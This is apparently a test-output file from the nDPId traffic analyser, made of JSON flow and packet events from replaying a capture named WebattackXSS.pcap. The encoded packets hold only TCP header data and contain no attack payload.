+00432{"flow_id":442,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6296,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347721,"pkt_ts_usec":814251,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0eDNAAEAGS6XAqAoyrBAAAQBQ6xT1wuHlbAYZo4AQAONO3QAAAQEICgPlmdcBO8hi"} +00432{"flow_id":442,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6297,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347721,"pkt_ts_usec":814255,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0eDRAAEAGS6TAqAoyrBAAAQBQ6xT1wuHlbAYZo4ARAONO3AAAAQEICgPlmdcBO8hi"} +00432{"flow_id":442,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6298,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347721,"pkt_ts_usec":814827,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UUFAAD4GdJesEAABwKgKMusUAFBsBhmj9cLh5oAQAOVO2gAAAQEICgE7yGID5ZnX"} +00433{"flow_id":443,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6305,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347722,"pkt_ts_usec":813677,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0GKpAAD4GrS6sEAABwKgKMusiAFDZTNyd\/psjjIARAOXXQAAAAQEICgE7yVwD5ZWo"} +00432{"flow_id":443,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6306,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347722,"pkt_ts_usec":813926,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0uVxAAEAGCnzAqAoyrBAAAQBQ6yL+myOM2UzcnoARAOPSGQAAAQEICgPlmtABO8lc"} +00433{"flow_id":443,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6307,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347722,"pkt_ts_usec":814566,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0GKtAAD4GrS2sEAABwKgKMusiAFDZTNye\/psjjYAQAOXSFwAAAQEICgE7yVwD5ZrQ"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6311,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":446,"flow_packet_id":1,"flow_first_seen":1499347724082,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60260,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":446,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6311,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347724,"pkt_ts_usec":82614,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8Pn9AAD4Gh1GsEAABwKgKMutkAFAGCvTmAAAAAKACchCsiQAAAgQFtAQCCAoBO8qZAAAAAAEDAwc="} +00443{"flow_id":446,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6312,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347724,"pkt_ts_usec":82786,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ62S3KtySBgr056AScSB5twAAAgQFtAQCCAoD5ZwOATvKmQEDAwc="} +00431{"flow_id":446,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6313,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347724,"pkt_ts_usec":83329,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0PoBAAD4Gh1isEAABwKgKMutkAFAGCvTntyrck4AQAOUYvwAAAQEICgE7ypkD5ZwO"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6320,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":447,"flow_packet_id":1,"flow_first_seen":1499347725355,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60274,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":447,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6320,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347725,"pkt_ts_usec":355982,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8jaBAAD4GODCsEAABwKgKMutyAFBT4UZ3AAAAAKACchAL1gAAAgQFtAQCCAoBO8vXAAAAAAEDAwc="} +00444{"flow_id":447,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6321,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347725,"pkt_ts_usec":356095,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ63J14+58U+FGeKAScSAHIwAAAgQFtAQCCAoD5Z1MATvL1wEDAwc="} +00432{"flow_id":447,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6322,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347725,"pkt_ts_usec":356675,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jaFAAD4GODesEAABwKgKMutyAFBT4UZ4dePufYAQAOWmKgAAAQEICgE7y9cD5Z1M"} +00433{"flow_id":444,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6327,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347725,"pkt_ts_usec":814773,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0quBAAD4GGvisEAABwKgKMus8AFAqiGxrCb\/VS4ARAOUzzAAAAQEICgE7zEoD5Zgp"} +00432{"flow_id":444,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6328,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347725,"pkt_ts_usec":815062,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0SPRAAEAGeuTAqAoyrBAAAQBQ6zwJv9VLKohsbIARAOMuNwAAAQEICgPlnb8BO8xK"} +00434{"flow_id":444,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6329,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347725,"pkt_ts_usec":815586,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0quFAAD4GGvesEAABwKgKMus8AFAqiGxsCb\/VTIAQAOUuNQAAAQEICgE7zEoD5Z2\/"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6333,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":448,"flow_packet_id":1,"flow_first_seen":1499347726623,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60288,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":448,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6333,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347726,"pkt_ts_usec":623497,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8cctAAD4GVAWsEAABwKgKMuuAAFD+ZrzfAAAAAKACchDpnAAAAgQFtAQCCAoBO80UAAAAAAEDAwc="} +00445{"flow_id":448,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6334,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347726,"pkt_ts_usec":623596,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ64DDQROl\/ma84KAScSBxJgAAAgQFtAQCCAoD5Z6JATvNFAEDAwc="} +00432{"flow_id":448,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6335,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347726,"pkt_ts_usec":624201,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0ccxAAD4GVAysEAABwKgKMuuAAFD+Zrzgw0ETpoAQAOUQLgAAAQEICgE7zRQD5Z6J"} +00434{"flow_id":445,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6339,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347726,"pkt_ts_usec":815631,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UaVAAD4GdDOsEAABwKgKMutKAFCqmpZY\/n\/D0oARAOWkPAAAAQEICgE7zUQD5Zlp"} +00432{"flow_id":445,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6340,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347726,"pkt_ts_usec":815893,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0XWtAAEAGZm3AqAoyrBAAAQBQ60r+f8PSqpqWWYARAOOe7QAAAQEICgPlnrkBO81E"} +00434{"flow_id":445,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6341,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347726,"pkt_ts_usec":816443,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0UaZAAD4GdDKsEAABwKgKMutKAFCqmpZZ\/n\/D04AQAOWe6wAAAQEICgE7zUQD5Z65"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6351,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":449,"flow_packet_id":1,"flow_first_seen":1499347729211,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60314,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":449,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6351,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347729,"pkt_ts_usec":211579,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8NhFAAD4Gj7+sEAABwKgKMuuaAFCuIPmKAAAAAKACchD6lgAAAgQFtAQCCAoBO8+bAAAAAAEDAwc="} +00444{"flow_id":449,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6352,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347729,"pkt_ts_usec":211710,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ65plKrngriD5i6AScSA3dQAAAgQFtAQCCAoD5aEQATvPmwEDAwc="} +00432{"flow_id":449,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6354,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347729,"pkt_ts_usec":212373,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0NhJAAD4Gj8asEAABwKgKMuuaAFCuIPmLZSq54YAQAOXWfAAAAQEICgE7z5sD5aEQ"} +00432{"flow_id":446,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6357,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347729,"pkt_ts_usec":817239,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0PoFAAD4Gh1esEAABwKgKMutkAFAGCvTntyrck4ARAOUTJQAAAQEICgE70DID5ZwO"} +00432{"flow_id":446,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6358,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347729,"pkt_ts_usec":817456,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0fTRAAEAGRqTAqAoyrBAAAQBQ62S3KtyTBgr06IARAOMNjQAAAQEICgPloacBO9Ay"} +00432{"flow_id":446,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6359,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347729,"pkt_ts_usec":818189,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0PoJAAD4Gh1asEAABwKgKMutkAFAGCvTotyrclIAQAOUNigAAAQEICgE70DMD5aGn"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6363,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":450,"flow_packet_id":1,"flow_first_seen":1499347730501,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60328,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":450,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6363,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347730,"pkt_ts_usec":501574,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA83upAAD4G5uWsEAABwKgKMuuoAFBoeQ40AAAAAKACchAqRAAAAgQFtAQCCAoBO9DeAAAAAAEDAwc="} +00444{"flow_id":450,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6364,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347730,"pkt_ts_usec":501671,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ66jFwizsaHkONaAScSCSPAAAAgQFtAQCCAoD5aJSATvQ3gEDAwc="} +00432{"flow_id":450,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6365,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347730,"pkt_ts_usec":502460,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA03utAAD4G5uysEAABwKgKMuuoAFBoeQ41xcIs7YAQAOUxRAAAAQEICgE70N4D5aJS"} +00432{"flow_id":447,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6369,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347730,"pkt_ts_usec":817366,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jaJAAD4GODasEAABwKgKMutyAFBT4UZ4dePufYARAOWg0wAAAQEICgE70S0D5Z1M"} +00432{"flow_id":447,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6370,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347730,"pkt_ts_usec":817612,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA0TNxAAEAGdvzAqAoyrBAAAQBQ63J14+59U+FGeYARAOObfwAAAQEICgPloqEBO9Et"} +00432{"flow_id":447,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6371,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347730,"pkt_ts_usec":818343,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0jaNAAD4GODWsEAABwKgKMutyAFBT4UZ5dePufoAQAOWbfQAAAQEICgE70S0D5aKh"} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6372,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":408,"flow_packet_id":6,"flow_first_seen":1499347656622,"flow_last_seen":1499347661802,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59530,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6372,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":408,"flow_packet_id":6,"flow_first_seen":1499347656622,"flow_last_seen":1499347661802,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59530,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6372,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":409,"flow_packet_id":6,"flow_first_seen":1499347659123,"flow_last_seen":1499347664799,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59556,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6372,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":409,"flow_packet_id":6,"flow_first_seen":1499347659123,"flow_last_seen":1499347664799,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59556,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6372,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":410,"flow_packet_id":6,"flow_first_seen":1499347660441,"flow_last_seen":1499347665799,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59570,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6372,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":410,"flow_packet_id":6,"flow_first_seen":1499347660441,"flow_last_seen":1499347665799,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59570,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6372,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":411,"flow_packet_id":6,"flow_first_seen":1499347661705,"flow_last_seen":1499347666802,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59584,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6372,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":411,"flow_packet_id":6,"flow_first_seen":1499347661705,"flow_last_seen":1499347666802,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59584,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6372,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":412,"flow_packet_id":6,"flow_first_seen":1499347664226,"flow_last_seen":1499347669803,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59610,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6372,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":412,"flow_packet_id":6,"flow_first_seen":1499347664226,"flow_last_seen":1499347669803,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59610,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00530{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":6372,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":413,"flow_packet_id":6,"flow_first_seen":1499347665473,"flow_last_seen":1499347670803,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59624,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {}} +00492{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":6372,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":413,"flow_packet_id":6,"flow_first_seen":1499347665473,"flow_last_seen":1499347670803,"flow_tot_l4_data_len":208,"flow_min_l4_data_len":32,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":34,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59624,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":6375,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":451,"flow_packet_id":1,"flow_first_seen":1499347731797,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":60342,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":451,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6375,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347731,"pkt_ts_usec":797840,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA84K9AAD4G5SCsEAABwKgKMuu2AFCGTjKNAAAAAKACchDmwwAAAgQFtAQCCAoBO9IiAAAAAAEDAwc="} 